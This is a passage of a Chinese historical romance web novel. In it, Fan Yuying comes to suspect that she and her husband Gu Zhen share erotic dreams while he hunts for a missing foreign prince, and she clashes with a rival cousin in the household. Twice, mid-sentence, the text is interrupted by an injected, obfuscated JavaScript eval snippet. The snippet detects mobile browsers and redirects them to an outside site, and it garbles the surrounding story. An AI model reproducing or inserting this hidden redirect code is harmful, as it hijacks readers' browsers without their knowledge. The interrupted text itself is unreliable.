先不论这位定北侯夫人心下究竟是怎么想她小妹,但这会儿,她定是得做着样子,拉着范玉盈的手道:“你这婆婆实在关切于你,拿了这么好的药材过来,着实让我有些艳羡了。” 范玉盈亦顺势夸了两句婆母苏氏,便让青黛将范玉融送了出去。 人走后,她才看向沈嬷嬷,“虽都是好东西,但我身子虚扛不住大补,暂且将东西收至库房吧。” 说罢,又转而看向那松茗院来的丫鬟巧云,“回去替我向夫人道一声谢。” 巧云应声罢,忽而道:“其实,夫人前几日就想给大少奶奶送药材来,但因着二房的二少奶奶临盆在即,江家派人送祝米催生,夫人帮着二夫人招待宾客,忙得抽不开身,这才迟了些。” 范玉盈暗暗垂眸,旋即愧疚道:“哪有什么迟不迟的,伺候婆母原是我的本分,只我这身子不争气,还反让母亲替我操心了。” 巧云离开后,沈嬷嬷命人将药材入库,趁着帮白芷布置午膳的工夫,笑着道:“听闻这次江家来送祝米,给婴儿的鞋帽襁褓,用的都是难得一见的蜀锦,二夫人那儿也在张罗着,似乎料定了二奶奶这次生的会是个男孩,夫人在旁看着,心里难免不舒服,定也期盼着大少奶奶您养好身子,早些为咱定北侯府开枝散叶呢。” 范玉盈慢条斯理地嚼着口中的莲藕,似笑非笑,没答话。 她便知她那婆母不会无缘无故给她送药材,原是与沈嬷嬷排好了这场戏,就等着演给她看呢。 可她当是不知道,自己与顾缜别说要孩子,至今都未圆房,且她还真从未想过,要替顾缜生儿育女。 这日,范玉盈依旧等到很晚,却仍是没能等到顾缜回来。 她到底没架住困,睡了过去,可因着心系七王子一事,并未睡熟。 半梦半醒间,她仿若听到隔扇门开阖的声响,幽幽睁开眼,在缓缓闭拢的门缝间瞧见一个熟悉的背影。 意识到那是谁时,范玉盈的睡意顿时去了大半。 因不知顾缜会不会回来,今夜她并未让人准备羹汤,她支撑着坐起身子,隐约听得有水声自浴间的方向传来。 她思忖许久,咬了咬牙,强忍着脚踝处传来的刺痛站起来,趿着鞋,扶着手边可以扶的东西艰难地往外而去。 立在紧闭的浴间门前时,里头的水声骤然停了,她复又迟疑片刻,到底伸手将门推了开来。 里头热气蒸腾,看不大清晰。 正考虑要不要踏进去,一声冷厉的“谁”在范玉盈耳畔乍响。 范玉盈吓了一跳,本就强行立住的身子不免有些摇晃。 可不等她重新抓住门框,一只强劲有力的手臂已然稳稳托住她的背脊,范玉盈亦下意识用一双柔荑攀住男人宽阔的双肩,却也因着他俯身的动作,几乎上半个身子都贴紧了他的胸膛。 男人上身赤?裸,灼热的温度混着水汽烙得她一瑟缩,然低眸间,范玉盈心下一颤。 视线落处,不偏不倚,是顾缜背上那两道醒目的伤口。 12. 怀疑 只一眼,范玉盈如轰雷掣电。 太像了,无论是位置还是形状,怎和梦中那个男人的伤口如此相似。 她来不及细想,面前人极具压迫感的气息令她不得不仰面凝视那张清冷俊朗的脸,在一瞬间的迷茫过后,她问道:“世子爷怎的受伤了?” 顾缜并未答她,只蹙眉反问:“你不是睡下了吗?” “我……”范玉盈微微垂下眼帘,朱唇轻抿,“世子爷这几日不回来,妾身听见动静,便想着过来瞧瞧……” 听着她清润动听的嗓音,再看她这副婉约顺柔的模样,顾缜有一瞬间的恍惚,好似她对自己这个丈夫满心关切和在意。 但顾缜到底头脑清楚,没忘了中秋夜马车上发生之事,又思及适才在门口问守夜婢子的话,薄唇抿成一线。 “听闻今日你二姐来了,你是不是,听到了什么消息?” 范玉盈看着他眸中的凉色,忍不住在心下啧了一声。 就知这一招对顾缜无用,他已然清楚,她根本不是这般小意柔情的女子。 范玉盈复又懊悔起那日在马车上与顾缜彻底摊牌一事。 她便不该因前世太子案发时顾缜不在京中,而断定他对她要行之事无用。 若是早知道,她定会如他所愿做他想要的“贤良淑德”的妻子。 但这会儿顾缜既已看出她的目的,她再遮遮掩掩只怕适得其反。 她索性抬起下颌,柔声问道:“世子爷寻到七王子了吗?” 顾缜静静注视着她那双清澈如泉的潋滟杏眸,在心底自嘲一笑。 她这般不喜他,在马车上已说得清清楚楚,又怎会这么快对他变了态度,果真是有所求。 许见他久无回应,面前人又小心翼翼唤了声“世子爷”,上挑的尾音带着似有若无的媚意钻入顾缜耳中,令他霎时脊椎一麻。 这是他常在那旖旎梦中听到的嗓音。 只那人唤她“云郎”,而非“世子爷”。 顾缜暗暗调整凌乱呼吸间,眸光一扫,偏入目场景又活.色.生香。 般般入画的女子贴在他怀里,不着粉黛的脸清丽如出水芙蓉,他身上未干的水珠洇湿了她薄透的桃粉寝衣,里头榴红小衣和吹弹可破的雪肌玉肤一览无余。 顾缜喉结微滚,视线再往下落,想起昨夜梦中他是如何托举起那柔若无骨的身子,撞得门扇哐哐作响。 范玉盈唤罢,见眼前人仍是不言,犯愁之际,却觉身子一轻,人已被顾缜抱了起来,几步放落在外头小榻上。 顾缜扯过一旁的薄被将她裹得严严实实,又折返浴间,再回来时,素色中衣已穿在了身上。 在榻桌另一侧落座后,他倒了杯凉茶一饮而尽,突然道了句“人还未寻着”。 范玉盈心下一喜,知这是愿意同她说了,便试探着问道:“听说那日还死了一个使臣?” 顾缜侧眸看来,“你二姐的消息倒是灵通。” 看来是了。 范玉盈道:“二姐她也只是道听途说,不过听她提起此事,妾身难免心下担忧,盼着此次和谈能成,七王子千万不要出事才好。” 顾缜知她这话是真心,此事事关太子,她又对太子妃这个姐姐格外关切,不然也不会在中秋宫宴来上那么一出。 “你好生养伤,不必忧心此事,我定会尽力搜寻七王子的踪迹。” 范玉盈抿了抿唇,明白顾缜的话中之意,是不想同她透露太多,她眼眸微微一转,转而道:“世子爷的伤便是因查案而来吗,您这是如何伤的?” 顾缜看着范玉盈朝他稍稍倾身,面露担忧,唇间不自觉漾起几不可察的浅笑。 她很聪明,竟试图以这种方式套他的话。 他确实不想告诉她太多案情,但得不到她想到的答案,只怕她这几夜皆会辗转反侧,难以安寝。 最后,又做出什么出格的事来。 他迟疑片刻,“瑄岚使团中有几个细作,昨日一早我去四方馆查案时,为救瑄岚使臣乌荪,为箭所伤。” “细作?”范玉盈将身子坐直了些,“莫非是这些细作为阻止和谈而藏匿了七王子?” “不是他们,他们原本的目的是杀了七王子,而非藏匿。” 那日有衙役在四方馆发现迷药时,两个细作忽而动了手,最后一人咬毒自尽,剩下一人被秦昭快一步扣出了口中的毒药。 不过那个活下来的,在审问中咬死称自己和岩罕一样,不想看瑄岚如此窝囊,臣服于大盛,方才想出杀了七王子,阻止和谈的法子。那夜是他将岩罕放了出去并帮助他迷晕了两个守卫。但岩罕一时不忍对七王子下手,他唯恐他坏了大事,便动手杀了岩罕。 顾缜又问七王子的去向。 他言岩罕死后,七王子听到动静苏醒,他生怕他呼喊将人招来,便带人跳窗而出,在一无人处杀人埋尸。 顾缜再问尸首,他却怎也不肯说了。 想来不是不肯说,而是根本不知道。 毕竟顾缜已自太子处得知七王子是被另一伙人掳走的。 这人满口谎言,似乎是想将此事全然揽在身上。 他到底是在替谁遮掩。 “七王子是被另一群人带走的,若那些人的目的也是毁了和谈,断不会采取这般手段,七王子……兴许还活着。” 其实昨日,顾缜重新搜查七王子的屋子时,在床榻旁一花几下,发现了一枚暗器,看形状大小,与杀了岩罕的凶器一致。 其上有一特殊的标记,顾缜认得,出自大盛一有名的暗杀阁。 他已命秦昭顺此线索下去搜查。 他说的已足够多了,顾缜站起来,他本就只是回来擦身更衣,并不打算过夜。 “此案还未了,我需得赶回大理寺去,这几日恐都不会回来。” 他说罢,提步入了卧房。 范玉盈听见衣橱开阖的声响,她掀开薄被,以极慢的步子往卧房内而去。 顾缜正在穿衣。 她上前,忽而拿起搁在椅背上的玉带欲替他系上,顾缜怔了怔,并未阻止。 范玉盈将玉带穿过他的后腰,却因从未伺候过男人,动作显得十分生疏笨拙。 见她半日扣不牢,顾缜将手覆上她的柔荑,试图引导她,却见她身子一僵,顿似受了惊的小鹿般,慌不迭地将手缩了回来。 顾缜剑眉蹙了蹙。 少顷,他兀自扣好玉带,看着低垂着眉眼的范玉盈,正色道:“切勿将 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范玉盈翻了个身,忽而灵光一闪。 等等。 是真的没发生过吗? 前世她常年待在她的采薇轩,消息闭塞,许多事都是她二姐或是素来爱打听的青黛说予她的。 她记得,前世告诉她瑄岚使臣自尽的人是青黛。 就像顾缜所言,外头传言纷繁复杂,不可尽信。 此事她应比谁都清楚。 兴许瑄岚一事,最后流传出的结果,只是官府欲百姓知晓的“真相”——瑄岚使团自大盛安稳而归。 若和前世一样,七王子或许最后能平安无事地回来。 思至此,范玉盈秀眉蹙起,心下反未觉得轻松,因这平安只是一时的。 前世,就在七王子抵达瑄岚不久,瑄岚王弟扎古便趁瑄岚王病重,弑兄夺位,除却出逃的大王子外,其余皇子尽数死于他手。 登上王位后,扎古公然撕毁和约,偷袭属州,西南战起,烽火连天,及至巫蛊案发,属州战事仍未熄。 范玉盈不知她的猜测对不对,但她总觉得七王子一事与那扎古有关,亦想阻止属州将来的战事。 然她不可能说出前世之事,被人活活当做疯子,如此,又要如何改变这一切呢? 范玉盈阖眼,不由长叹一口气。 若能以托梦的法子堂而皇之地道出这一切便好了。 梦…… 她脑中闪过顾缜背上那两道伤口,猛然睁开眼。 若她是提前得知顾缜受伤,那梦中男人身上出现与顾缜相似的伤口并没什么奇怪的,可问题是,她没有未卜先知的能力。 今早在书案上看到的“枚枚”二字又浮现在范玉盈眼前。 嗓音相似,伤痕相似。 顾缜与梦中看不清脸的男人真的只是“相似”吗? 范玉盈冒出一个大胆的想法,但很快便笑了出来。 怎么可能,世间怎会有如此荒唐之事。 是啊,可太荒唐了…… 她的笑意收敛去,面色逐渐凝重起来。 13. 戏起 过了中秋,天眼见着一日凉过一日,夜半落了场雨,打得枝头桂花金灿灿落了一地,空气中淡淡余香混杂着泥土气。 廊庑下的紫苏见屋内久久没有动静,不禁心生担忧,转而问红芪,“姑娘一向醒得早,今日却到了这个时辰都未起,可要进去瞧瞧?” 红芪正欲答话,却见一人穿过抄手游廊而来,见主屋的门紧闭着,“哎呦”了一声,“大少奶奶还未起呢,莫不是……因着世子爷?” 紫苏和红芪对视一眼,晨时与白芷青黛交班前,她们自也听说了世子爷昨儿更深半夜回来又很快走了的事,她们晓得沈嬷嬷要打探什么。 紫苏面露疑惑道:“世子爷?世子爷昨儿回来了吗?” 瞧着这两丫头装傻充愣的样儿,沈嬷嬷心下气得不轻,不愧是大少奶奶身边的丫头,一个比一个精,愣是套不出一句来。 外头说话间,一声细弱的呼唤自屋内传来,红芪耳尖,忙端起铜盆推门而入。 范玉盈昨夜并未睡好,故而今早才赖了觉,洗漱罢,坐在妆台上梳理发髻时,仍有些睡眼惺忪。 然她这副憔悴的模样落在沈嬷嬷眼中便成了另一番意思。 世子爷昨夜来了又走的事儿是今早院里一丫头告诉她的,说世子爷待了前后不过一炷香的工夫,只要了水,沐浴更衣罢便匆匆离开。 什么事能急到快两日不回府,一回来却连夜都不过的,自个儿的院子却不想留下,沈嬷嬷只能想到是他家世子爷不喜他们这大少奶奶。 告诉她此事的丫头昨儿也跟着守了夜,说世子爷回来时,她听到了屋内大少奶奶的声儿,原睡下的大少奶奶当是醒了。 至于这会儿为何如此精神不济,沈嬷嬷觉着,许是因没能留下夫君,夜里辗转反侧,黯然神伤才会如此。 她心底直道活该,新婚头一次就拿太子妃来压她,嚣张至极,而今得不到她家世子爷宠爱,终究是笑不出来了吧。 沈嬷嬷暗暗幸灾乐祸间,却听一道慵懒的声儿自前头传来,“嬷嬷原在母亲那儿伺候多年,当也算是看着世子爷长大的,对世子爷颇为了解,可知世子爷有何小名?” 听得这话,沈嬷嬷愣了一瞬,实在没想到范玉盈会问这个。 “嬷嬷别见怪,我只是想多了解世子几分罢了。” 沈嬷嬷恍然大悟,心下嘟囔,得了嫌了,才终于想着讨好她家世子爷。 她虽对范玉盈这个大少奶奶不甚喜欢,可也记着苏氏嘱咐她的话,望他们这大少奶奶早日为世子诞下一个长子,才好让夫人放下心来。 “世子没什么小名,平素顾家的几个长辈都爱唤缜哥儿,老爷夫人爱唤缜儿。”沈嬷嬷老老实实答道。 “那……世子可有表字?”范玉盈又问。 沈嬷嬷闻言忍不住皱了皱眉,她们这大少奶奶嫁入定北侯府都快一月了,竟是连世子的表字都不知,平素是有多不关切世子。 她强笑道:“世子未冠而仕,表字是老太爷在世时亲自取的,老奴才疏学浅,也不大懂,只听夫人提起,与世子的名相对,是为‘云疏’。” 范玉盈脑中轰的一下。 云疏…… 云郎…… 因梦中男人对她的称呼是她真实的乳名,范玉盈便开始怀疑,“云郎”这个称谓亦有它的来源。 真的会这般巧合吗? 范玉盈倏然想起曾在书中看到过的一段话。 “……或彼梦有所往而此遇之者,或此有所为而彼梦之者,或两相通梦者……”① 两相通梦者…… 那是几年前她闲来无事让白芷去书肆上随意买的书中所言,此书记载了几种人与人间光怪陆离的梦境连结,当时她只当志怪来打发时间,而今她突然发现或这不可思议之事正切切实实发生在她身上。 梦中那个男人并非只是和顾缜相似,或许那个人就是顾缜。 那不仅是她的梦境 ,亦是他们二人共通的梦境。 就像她在梦中看着那一切一样,兴许顾缜也在用梦中男人的眼睛经历这一场绮梦,所以他才会在纸上写上那么多“枚枚”,因他并不确定那究竟是哪一个枚。 连重生这么离奇的事都发生在了她的身上,这世上还有什么不可能的。 思至此,范玉盈不由颦眉抿紧了朱唇。 可……她根本无法操纵自己的梦境,纵然猜对了又有何用。 “大少奶奶。” 沈嬷嬷见范玉盈久久怔忪在那厢,低低唤了一声。 范玉盈回过神,莞尔道:“多谢嬷嬷了。” “大少奶奶这是说的哪里话。”沈嬷嬷道,“只消世子爷和大少奶奶好,老奴怎么都愿意。” 范玉盈笑了笑,又问道:“嬷嬷可知世子喜欢吃什么?世子这几日公务繁忙,恐都得住在大理寺,我想着替世子爷送些消夜过去。” 沈嬷嬷没想到范玉盈而今这般开窍,如此急着得到他们世子爷的心,“世子自小在老太太老太爷身边长大,老奴也不大清楚,但看世子平日吃饭似乎并不挑嘴,不过为着爷的身子,大少奶奶还是拣着清淡的送去为好。” 范玉盈颔首,转头命红芪午后去灶房吩咐一声。 先不论梦不梦的事,眼下最要紧的是减轻顾缜心底对她的厌嫌。 灶房是在酉时前后才开始着手准备消夜的,可葳蕤苑来传话时,只说准备清淡的,并没明确是什么吃食,灶房的厨子与帮厨正商量着,心下犯难之际,就听一个温婉的声儿道:“鱼羹如何?” 说话的女子长相清雅秀丽,灶房众人都认得,正是二夫人的娘家侄女,方家的大姑娘。 方大姑娘自幼失恃?,继母入门后对她并不大好,故而五六岁时便被二夫人接到了府上养着,也算与世子青梅竹马。这位方大姑娘不仅才学出众,更是一手好厨艺,也愿纡尊降贵亲近他们这些下人,得了府内不少人喜欢,先头世子爷婚事一直没有着落,还有好些人觉得或许这位方大姑娘能成为侯府未来的主母,谁料世子爷突然娶了那位风评不佳的范三姑娘。 世子爷婚事定下后,这位方大姑娘便被方家接了回去,不过几日前,不知怎的,却又突然回来了。 “左右今日也有新鲜的鱼,加之鱼羹养胃也清淡,世子定然喜欢。”方沁棠含笑道。 这大姑娘与世子一道长大,世子也是尝过她的手艺的,她定然知世子口味,还能诓骗他不成。大厨觉得有理,他本还想着要不做一道山药排骨汤,但听了方沁棠这话,便招呼帮厨处理今早送来的鱼,着手准备做鱼羹。 做好的鱼羹被装在食盒里,被范玉盈派着送鱼羹过去的正是李寅。 只李寅抵达大理寺时,顾缜还未回来。 他便在屋内等,幸得没一炷香的工夫,顾缜便与秦昭一道,带着几人回了大理寺。 李寅不知他家世子爷近日在办什么差,但看世子神色比昨夜回来时轻松许多,棘手之事当已解决。 他忙迎上去。 顾缜见了他,颇为意外,还来不及开口询问,就听李寅道:“世子爷,大少奶奶恐您公务劳累,特意准备了消夜,命小的给您送来。” 此言一出,四下众人的神色都变得意味深长起来,秦昭笑道:“夫人如此体贴贤惠,大人好福气。” 顾缜掩唇低咳了一声,没有应他的话,只又交代了秦昭两句,便随李寅入了屋。 李寅唯恐消夜凉透了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469890|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好入口,忙打开搁在榻桌上的食盒,欲将里头的吃食取出来,然才掀开盖儿,他却是动作一滞。 顾缜见他神色有异,往里头一瞧,蹙了蹙眉。 李寅心下直道不好,这大少奶奶命灶房做什么不好,偏生做这鱼羹。 因自小长在老太太老太爷膝下,世子素来遵循祖父祖母“喜恶不言于表”的教导,故而很少有人知道世子的饮食喜好。可旁人不知,他常年伺候在侧,却很清楚,他家世子爷并不喜鱼,甚至不大愿意闻着鱼的气味。 他硬着头皮将那碗鱼羹端出来,却不敢劝顾缜进食,想着让他家爷自个儿决定怎么处置,谁知那碗鱼羹竟被端了起来。 李寅惊愕地站在原地,眼见顾缜皱着眉头慢吞吞吃了一勺又一勺,不明白世子爷分明极其不喜,为何还要勉强自个儿吃下去。 从前,二房那位表姑娘给世子送鱼汤,他可是碰都未碰,就剑眉紧蹙以先前吃饱了不想浪费为由让下人端出去分喝了。 李寅疑惑间,就听顾缜问道:“大少奶奶可有交代你什么?” “大少奶奶说,让小的嘱咐世子爷莫太过操劳,夜间早些歇息,还有……”李寅顿了顿道,“大少奶奶说世子身上有伤,让小的仔细瞧瞧,再替您上个药。” “她倒是格外关切我……”顾缜自嘲般勾了勾唇间,兀自低语道。 不过她关切的大抵不是他,而是案情吧。 不然他又何以能得到她的殷勤相待,就同昨夜一样。 他沉吟许久,“回去后,向大少奶奶传个话,便说她忧虑之事已然解决,夜里安寝即可。” 他们已在一个时辰前救出了瑄岚的七王子。 秦昭通过些许门路寻到了暗杀阁在京城的据点,只他们派人闯进去时,却是人去楼空,那屋内有密室,他们在密室中找到了昏睡的七王子。 而今七王子被安置在了一个安全的地方,但在禀告此事前他封锁了消息,并未让外人知晓此事。 但她……同她稍稍透露一点也无妨。 以防多生出事端。 顾缜沉默着放下空碗,任由李寅收起。 只得到了满意的答案,恐他再回去,她又会变回从前对他冷冷淡淡的模样。 很快,这个忽如其来的想法令顾缜觉着万分可笑。 那又如何,他们本就不是什么琴瑟和鸣的佳偶,他亦对她没有太大的好感。 而今帮她几分,也只是想让她安安分分过日子罢了。 李寅想着照范玉盈吩咐给顾缜上个药,顾缜道不必,令他早些回府去。 李寅走后,顾缜洗漱罢在小榻上歇下,几日的紧张终在寻到七王子后消散了些,虽此案还未了,可这会儿,疲累已如潮水般涌来。 一阖眼,他回到了那个熟悉的梦境。 入目是一个纤细窈窕的身影,柔若无骨的娇躯正蜷缩着,阖眼枕在他的膝上。 顾缜仍然看不清她的面容,却是忍不住抬手将大掌落在她头顶,触碰那铺落在床榻上,如瀑的青丝。 膝上人修长的脖颈抬起,幽幽抬首看来。 顾缜倏然一怔,看向自己灵活自如的手掌,突然意识到自己竟能开始操纵梦中这个身体。 他将指尖收拢成拳,垂眸凝视着这个已在他梦中与他纠缠了四个月的女子,沉声开口。 “你……是谁?” 女子缓缓支起身子,沉默许久,忽而轻笑了一声。 那笑声清脆若珠落玉盘。 下一刻,她骤然扑来,藕臂缠住他的脖颈,慵懒的嗓音带着蛊惑的意味在他耳畔响起。 “云郎,你夜夜与我缱绻,对我再熟悉不过,而今怎还问我是谁……” 14. 神女 顾缜剑眉蹙紧,僵硬着身子,轻轻推开她,正襟危坐。 从前与她的种种也算是“身不由己”,而今他既能控制了这个身躯,于情于理都不可再胡来。 “你为何会频频出现在我的梦中?”他又问道。 女子低笑一声,“分明是云郎你闯了我的地方,怎还倒打一耙。” 闯了她的地方? 顾缜环顾四下那白茫茫一片,“这是哪儿?” “瑶池。”女子的嗓音里带着几分疑惑,“云郎怎都忘了?” “瑶池?”顾缜轻哼了一声,挑眉看她,“难不成你是神女?” 对方不言,算是默认了。 “你又如何证明?” “我缘何要证明。”纵然看不清面容,顾缜也可想象到她说这话时目光中流露出的倨傲与不屑。 顾缜嗓音沉了几分,“既然证明不了,也不必自称什么神女了。” “云郎不必激我。” 女子看穿了他的用意,少顷,缓缓道:“若想证明,再简单不过,只于我们神女而言,不可随意泄露天机。但……说些无足轻重之事,倒也无妨……” 她忽而嗓音认真了几分,“云郎久居的京城西面有一湖,湖上有一座廊桥,乃前朝所建,足有百年之史,但不久后,此湖会在深夜骤然断裂坍塌。” 凡是住在京城的,无人不知这座廊桥,顾缜自也知晓,此廊桥因桥面建有廊屋,可供行人歇脚乘凉而出名,且京城中只此一座。 这女子是在胡诌还是? “不久是多久?”顾缜又问。 “后日。”女子定定道。 * 难得睡了一个好觉。 顾缜晨起时,天虽还未大亮,但昨日的疲累已然一扫而空。 他起身坐在小榻上沉思许久,穿好衣裳,召来一小吏,命他这几日注意着城西廊桥的动向,若有什么事及时通禀给他。 那小吏虽不明所以,但想着此事或与哪桩要案有关,应声去办。 顾缜知道这很荒谬,他竟会试图去验证梦中人说的话,但所谓宁可信其有,不可信其无。 还是不要大意得好。 洗漱罢,他骑马自大理寺出发,赶往宫内上朝。 早朝结束后,他却并未离开,而是和太子一道前往景贞帝的御书房。 顾缜将七王子失踪又被寻到一事,前因后果如实禀报。 景贞帝沉默许久,却是看向站在底下的太子,“太子觉得此事该如何处置?” 太子上前一步,躬身答道:“那些混进瑄岚使团的细作,目的便是引发大盛与瑄岚的争端,破坏两国和谈,但而今七王子被寻回,首要之务便是增派人手,平安护送七王子回去,至于那叫岩罕的使臣…… 言至此,太子忽而抬眸看向景贞帝,迟疑片刻道:“他试图以献礼一事挑起父皇怒火,同样是为了摧毁和谈,包括后来欲刺杀七王子而未成,儿臣私以为,这些人越是如此,和谈便越要继续,至于那使臣的的死,不如对外传他是畏罪自尽……” 顾缜静静站在一侧,清楚太子此举的用意,瑄岚有人欲杀害七王子,嫁祸大盛,挑起事端一事一旦传出去,朝野中的主战派定会争辩个不死不休。 御书房内一片死寂。 虽未抬首,但顾缜能感受到景贞帝凌厉的眸光带着帝王似乎与生俱来的威仪居高临下地俯视着太子。 许久,才听一道低沉浑厚的嗓音响起,“好,便依你说的办。” “多谢父皇。”太子低身谢恩。 “此案便到此为止吧。”这话是说予顾缜听的。 顾缜薄唇微抿,紧跟着施礼,道了声“臣遵旨”。 自御书房出来后,顾缜跟随太子之后下了丹墀,忽听走在身前的太子问道:“顾少卿觉得,究竟是谁指使暗杀阁带走的七王子?” “臣不知。”顾缜如实道,“不过,臣倒觉得,他们像是在保护七王子。” 七王子被救出后,身上并无一点伤痕,据他所说,他醒来时便在那个密室,这几日,有人通过一个小口给他送食水,但从始至今都未出声,一句都不答他,直到他被救出前,复又被送来的食物迷晕了过去。 “保护吗?”太子笑了笑,径自呢喃道,“那瑄岚那些细作又是在替谁遮掩呢……” 顾缜没有接话。 此次瑄岚使团进京,其中诸事,实在太过蹊跷,若岩罕等人的目的只是为了毁了和谈,大可不必再多此一举来送礼这一出,反是暴露了自己,增加刺杀七王子的难度。 他们刻意陷害太子的举动,并不合常理,更像是为人授意。 顾缜清楚景贞帝不许他再往下查的缘由,七王子一事,只能是瑄岚所为,不可与大盛有丝毫关联。 “罢了,不说这些了,顾少卿新婚,孤还未正式祝贺过,成亲的感受可好?” 太子这一发问令顾缜怔了一瞬。 好吗? 虽成亲前,大理寺琐碎难断的案子也一度令他头疼,可那与因范氏而剪不断理还乱的心烦截然不同。 顾缜这一反应令太子笑意深了几分,他抬手拍了拍顾缜的肩,临走前,意味深长地道了句:“范家姑娘可不是那么好娶的。” 顾缜拱手立在原地,看着太子离开的背影,倒是深以为然。 且不论过去如何,他只望范氏往后能安分守己,好生做她的顾家妇,收敛那刻薄蛮横的本性,莫再做出不当之举。 定北侯府,葳蕤苑。 正坐在小榻上看书的范玉盈不知怎的,忽觉鼻尖发痒,她皱眉,忍不住提起帕子小小打了个喷嚏。 白芷见状,忙给范玉盈递上热茶,“姑娘可是受了寒?” 范玉盈笑着摇了摇头,道了句“无妨”。 “这葳蕤苑草木茂盛,较之别处,的确更阴凉些。姑娘在屋里养了好几日,而今也可下地了,不如去外头花园晒晒日头,也好驱一驱寒气。”青黛提议道。 白芷附议,“是啊姑娘,园子里的秋花开得正盛,姹紫嫣红的,可是喜人。” 范玉盈素日懒得动弹,但今儿心情极佳,一则因如她所料七王子平安回来了,二则昨夜她有了意外的收获,心下烦恼之事兴许能得以解决。 见自家主子颔首应下,早已闷坏了的白芷青黛兴高采烈替范玉盈换了身衣裳,陪着一道往侯府花园而去。 这侯府花园离葳蕤苑不远,就算范玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469891|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盈这脚伤还未大好,但行至此处也没甚太大的问题。 可沿着花园快到秋菊开得最盛之处时,正听争吵声自前头小径传来。 面前有枝桠交错掩映,故而那边一时没注意到这厢,可范玉盈却是清清楚楚看到那头所站之人,听到她们所说的话。 她听了几句,大抵辨出前因后果。 二房的顾婷顾瑶路遇取了衣裳回来的顾敏,却是借着看衣的由头,故意将梅红的秋菊碾在水蓝的衣衫上,用花汁将其染了色。 这会儿顾敏身边的丫鬟正替她家姑娘争辩哭诉,因那衣裳可是顾敏明日去相看时要穿的。 三房的处境之难,范玉盈有所耳闻。 不同于大房二房,三老爷是庶出,非顾老夫人所生,他原随长兄定北侯一道在西南戍守,可谁料在一场交战时伤了双腿,自此难以行走,一蹶不振,闭于屋中不愿外出。 三房唯一的公子顾峻今岁十七,正在书院读书,也不知何时才能科举入仕,支应门庭,且往后若要步步高升,恐少不了大笔钱财以作人情打点。女儿顾敏又到了嫁人的年岁,家中这般情况只怕不好挑人家,且还需得替她准备一大笔嫁妆。但三房的产业稀薄,而今家中吃穿嚼用大多靠几间铺子和三夫人的嫁妆钱勉强撑着,三夫人表面不显,可私下里定是寝食难安,苦不堪言。 二房心高气傲,看不上三房,看顾婷顾瑶这般举止,恐不是头一回欺负她们这位堂姊妹了。 顾家之事,范玉盈不大想插手,毕竟她也是自顾不暇,可看着顾敏拉着自己的婢女,不愿多做计较的模样,她沉默片刻,到底走了出去。 然始终静静站在顾婷顾瑶身后的另一黄衣女子快她一步上前,接过那衣裳道:“婷儿并非故意的,二妹妹莫气,方姐姐将这衣裳拿回去,看看能不能让人替你洗干净。” 范玉盈并不识这女子,但通过她的自称猜到了她的身份。 她适才没有动静,都令范玉盈忽略了她,这人倒是有趣,眼睁睁看着顾婷欺负顾敏不出手阻止,这会儿却还想出来充好人。 “这花汁恐是难洗吧,大妹妹和三妹妹真有够不小心的。” 众人循声看来,顾婷顾瑶在看清来人的一刻面露不虞,而那黄衣女子则在一瞬间的错愕过后,恭敬有礼地低了低身。 “想必这便是嫂嫂吧。” “不知这位是……”范玉盈胡作糊涂,“我竟不知,府内还有旁的妹妹?” 顾瑶一声冷哼,挑眉道:“这是我表姐,自小便生活在府上,与大哥哥青梅竹马,一道长大的。” “瑶儿。”方沁棠冲她皱了皱眉。 范玉盈淡然勾了勾唇角,“原是方大姑娘,倒是久闻大名。” “早便听说阿缜……世子哥哥娶了一位贤惠貌美的妻子,今日一见,果真如传闻所说的一般。”方沁棠说着,看向手上的衣裳,“适才嫂嫂说那染上的色恐难以洗去,不知嫂嫂可是有什么绝妙的法子?” 范玉盈似笑非笑地看着她。 这位方大姑娘端的是温婉贤淑,可话里行间不仅默默彰显她与顾缜的关系亲密,又不动声色予她为难。 不像赵挽琴那般冒失,眼前这个可是实打实的厉害角色。 15. 确认 “能有什么法子。”范玉盈道,“既然洗不掉,便是毁了,丢了再做一件便是。” 此言一出,顾敏的贴身婢子环儿蓦然变了脸色,登时激动道:“丢了?大少奶奶说的轻巧,好容易做好的衣裳,怎能丢呢,且这料子金贵,哪里再去寻一匹这般好的。” 她家姑娘的处境本就够难了,原以为这大少奶奶是来帮忙的,谁知这阖府上下竟都想着如何欺负她家姑娘。 顾婷看着说话间忍不住开始啜泣的环儿,再看始终垂着脑袋默不吭声的顾敏,在心下一声嗤笑,一件衣服而已,犯得着这般嘛,三房果真穷酸。 她还未来得及开口贬损两句,却听一个声儿幽幽道:“不管是不是无意,但谁毁的,便该由谁来赔,天经地义的道理,就是说出去也无人会有异议,想必大妹妹断不是那耍赖之人吧?” “我……” 顾婷看向范玉盈,一时被她这话架得不上不下,不禁恼怒道:“我……我何来料子赔她。” 范玉盈早猜到她会这般说,“大妹妹的记性实在不佳,先头我送去的料子,其中一匹,当和二妹妹的差不多吧。大妹妹就算已量裁做了衣裳也无妨,我瞧着大妹妹的身量和二妹妹不相上下,二妹妹应也能穿。” 她不提那送来的料子还好,她一提顾婷顾瑶便想起先头被她算计之事,姐妹俩原还没意识到被这范玉盈耍了,还是后头表姐来了府上,听闻此事细细斟酌之下,才道出其中蹊跷。 